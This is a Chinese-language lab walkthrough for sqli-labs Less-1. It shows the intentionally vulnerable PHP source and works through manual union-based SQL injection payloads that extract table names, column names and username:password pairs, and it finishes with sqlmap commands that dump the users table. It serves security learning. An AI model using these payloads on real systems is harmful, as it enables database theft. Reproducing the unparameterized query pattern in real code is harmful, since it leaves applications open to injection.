sqli-labs下载地址: https://github.com/Audi-1/sqli-labs
phpstuay下载地址: https://www.xp.cn/
下面说下安装思路:
放在www路径下,这里是网页的存放路径。
D:\phpstudy_pro\WWW\sqli\sql-connections
我这里密码是123456,但是phpstudy的默认密码是root。
127.0.0.1/(sqli名称,我这里是sqli):
127.0.0.1/sqli
点击安装即可:
如果说报错,无非是因为PHP版本不对:
我这里是创建了一个网站,然后他这里PHP版本我设置了PHP5.4.45,对,如果你用的PHP7以上,建议换为PHP7以下试试:
直接安装,然后选择PHP版本为7以下即可。
如果说您出现安装失败这种情况,我这里只想到了可以让别人给您发PHP7以下的配置文件,然后放到这个目录下即可。那个文件也是这个路径下的。
D:\phpstudy_pro\Extensions\php
首先我们看sqli-labs的第一关,来分析下源码:
这里我们可以看到写了一些加载的元素,PHP页面中镶嵌的HTML元素,然后写PHP界面,首先进行数据库的连接,然后接入用户输入,打开一个文件将用户输入的内容写入到文件中关闭文件。下面对输入进行查询,查询完存入数组,数组如果存在说明传递的值可以查到,将这条数据包装成一个数组。如果没取到,或者出错了,就会将报错展示到前端。如果压根没有传递GET参数,然后会请你传递一个参数。
<?php
include("../sql-connections/sql-connect.php");
error_reporting(0);
if(isset($_GET['id']))
{
$id=$_GET['id'];
$fp=fopen('result.txt','a');
fwrite($fp,'ID:'.$id."\n");
fclose($fp);
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
$result=mysql_query($sql);
$row = mysql_fetch_array($result);
if($row)
{
echo "<font size='5' color= '#99FF00'>";
echo 'Your Login name:'. $row['username'];
echo "<br>";
echo 'Your Password:' .$row['password'];
echo "</font>";
}
else
{
echo '<font color= "#FFFF00">';
print_r(mysql_error());
echo "</font>";
}
}
else { echo "Please input the ID as parameter with numeric value";}
?>
下面我们get传参为id=1的话,那么返回如下界面:
而这个id我们通过代码可以看到是users表里面得,那么users表里面的ID到底是什么呢?
下面我们可以通过上帝视角来看一下:
这里我们可以看到users表中id就相当于身份证号,如果通过下方查询是没有验证条件的,所以我们使用where进行选择查询。
取到id之后进行查询,数据的获取,这里我们可以增加两条代码直接看下查询到的内容:
以上就是查询到的数组的数据,我们可以看到0里面的元素是1,1里面的元素是Dumb,username里面的数据是Dumb,password里面的数据是Dumb,这就可以说明里面是以key来取值的。
我们继续看这个查询语句:
$sql="SELECT * FROM users WHERE id='$id' LIMIT 0,1";
我们单从传1看当然没有问题,但是用户如果传个“1’”:
这里我们可以看到报错了,因为我们输入1以及单引号导致查询语句多出来一个单引号,所以这里我们需要逃逸,不然无济于事。
首先我们也就是逃逸单引号也就是闭合单一号:
此时我现在查询肯定是查询管理员的数据,使用查询方案是联合查询以及and。
这里我们可以看到报错,查询列名不一致,这里我们对照两张表:
我们可以看到一个是三个字段,一个是两个字段。字段不统一,那我们下面统一3个字段。
所以我们出数据肯定从2和3出数据,也就是username以及password,不然没有意义,前端看不到,或者我们可以使用and进行查询。
这里我们找到一个注入点,肯定是下面进行查管理员数据,管理员数据又是什么东西呢?我们肯定是得到用户名以及密码,前提是我们找到出于那个数据库下,表下面,哪个字段里面。
当然,数据库名不用获取,在一个网站下面肯定是在这个数据库以下,我们肯定可以直接去看,以及我们查看前置条件,比如,版本号,数据库,当前这个用户:
这里如果是root,直接可以进行脱库走人。一般情况下,我们肯定是一个普通用户,这个用户肯定是对当前数据库拥有权限,我们可以来看下:
我们这里只能看到只有一个库了。即使我们拿到了当前数据库的用户名密码,我们还需要找到页面的后台,找到后台还得看能不能破解密码。这个时候,我们可以尝试挖存储型XSS,然后拿到管理员的cookie可以登录,这也是一个思路。
我们继续看题,如果我们闭合了,下面我们需要查询数据,首先联合查询,必须满足两个表列相同的条件,那么我们如何知道联合的两张表列有几列?
此时我们需要用到一个函数,order by,它本身的用法是进行排序。
这里是因为排序还有一个功能,这里1可以代表一个列:
而当我们排序到第4列,我们可以看到报错:
所以这里我们逃逸闭合之后,排序进行尝试有几列,注释后面无用语句:
注释:mysql有三种:–,#,//,单行注释,/**/,多行注释。
直接order by 1肯定不行,因为带入语句我们可以看到后面还有一个单引号:
SELECT * FROM users WHERE id='1'order by 1' LIMIT 0,1;
所以我们需要将后面单引号进行注释,这里使用–后面加空格,在URL下将空格转化为+:
"+"字符也被用于表示空格,尤其是在查询字符串参数中。这是因为在早期的HTML表单提交中,空格会被替换为加号。
这里我们就可以看到它返回第四列不存在,为什么会让我们看到,因为源码中进行了打印:
这里我们是肯定从1进行尝试,因为数据比较少,可以使用二分法进行尝试。到现在联合查询条件搞定了,使用order by搞定,下面我们需要使用我们的联合查询:
我们在终端使用带入语句进行尝试可以看到:
这里就涉及到了联合查询的一个知识点,如果联合查询前面条件为真,后面语句就不执行了,所以我们需要让联合查询前面条件为假,怎么让联合查询为假?
我们可以直接使用-1,或者是使用更大的数字,但是-1肯定不存在,因为id一般是无符号整型。
这里我们可以看到2,3是因为联合查询最后一行为2和3,所以展示,这里得到的信息是2,3字段可以出数据,我们就可以进行查询。
我们也可以让他不要查2这个字段,我们可以使用database()进行代替:
这里可以看到这个已经不是2这个没有意义的数字了。而是我当前的数据库。
但是我们之前为什么是最后一行数据,我们输入了1,2,3,这里我们联合查询是进行拼接,拼接到最后一行,然后输出。查到最后一行数据是因为源码中的限制:
所以我们这里可以写有意义的数据,就比如databases(),version()。
我们可以得到前置条件,root用户以及版本号、数据库名。
下面我们需要继续查看这个数据库中有几张表,首先我们来认识MySQL数据库,里面有三张系统库,information_schema,mysql,performance_schema
我们可以认识到这三张表有个信息库,我们可以进去看下:
这里我们可以看到有一张INNODB_SYS_TABLES表,会不会有每个数据库的表名,我们可以进去看下:
我们可以看到这个表中存放了数据库以及对应的表名。还可以看看该数据库下还有什么内容:
我们可以看到INNODB_SYS_FIELDS这张表也是可以利用的,不过,我们进行查询会发现字段太多。所以我们接着找:
这里我们可以看到TABLES里面有数据库的所有库名,我们可以使用下面语句来查询表名:
mysql> select table_name from tables where table_schema = 'security';
所以,这个tables可以帮助我们查询特定库下面的特定表。下面我们继续看还有什么表:
schemeta存储了数据库的库名,但是我们没有必要用这个库来查,直接database()。
然后我们继续看:
COLUMNS这个表里面存储了所有数据库以及表名,列名
这里我们直接使用select语句即可查到管理员数据。下面我们回到之前前端界面注入:
下面我们需要查表名,表名我们去information_schema下面的TABLES表:
?id=-1'union select 1,group_concat(table_name),3 from information_schema.tables where table_schema='security'--+
这样查我们就可以把所有表查到了,查到后我们就要看哪个表可疑了,我们可以注意到users。
所以我们就需要查到users的列名,我们下面就要用到column这个表:
?id=-1'union select 1,group_concat(column_name),3 from information_schema.columns where table_schema='security' and table_name='users'--+
这里我们直接就将列查出来了,下面我们就直接开始冲数据:
?id=-1'union select 1,group_concat(username,0x3a,password),3 from users--+
当然我们也可以一个一个对应着去查:
?id=-1'union select 1,concat(username,0x3a,password),3 from users limit 0,1--+
去更改limit的值去一个一个对应着去查:
查出来的数据就和上面图片的一样了,当然,一般密码都是经过加密的,我们之后还需要解密。
我们可以看到语句执行参数
开始执行对靶场进行扫描:
D:\hacker\sqlmap>python sqlmap.py -u http://www.sql.com/Less-1/?id=-1
最终找到即可找到注入点:
D:\hacker\sqlmap>python sqlmap.py -u http://www.sql.com/Less-1/?id=-1 --dbs
D:\hacker\sqlmap>python sqlmap.py -u http://www.sql.com/Less-1/?id=-1 --current-user
D:\hacker\sqlmap>python sqlmap.py -u http://www.sql.com/Less-1/?id=-1 -D security --tables
D:\hacker\sqlmap>python sqlmap.py -u http://www.sql.com/Less-1/?id=-1 -D security -T users --columns
D:\hacker\sqlmap>python sqlmap.py -u http://www.sql.com/Less-1/?id=-1 -D security -T users --dump "username,password"
这里我们可以看到已经导出了该表中所有数据,并且存入了C:\Users\lenovo\AppData\Local\sqlmap\output\www.sql.com\dump\security路径中,打开我们即可看到: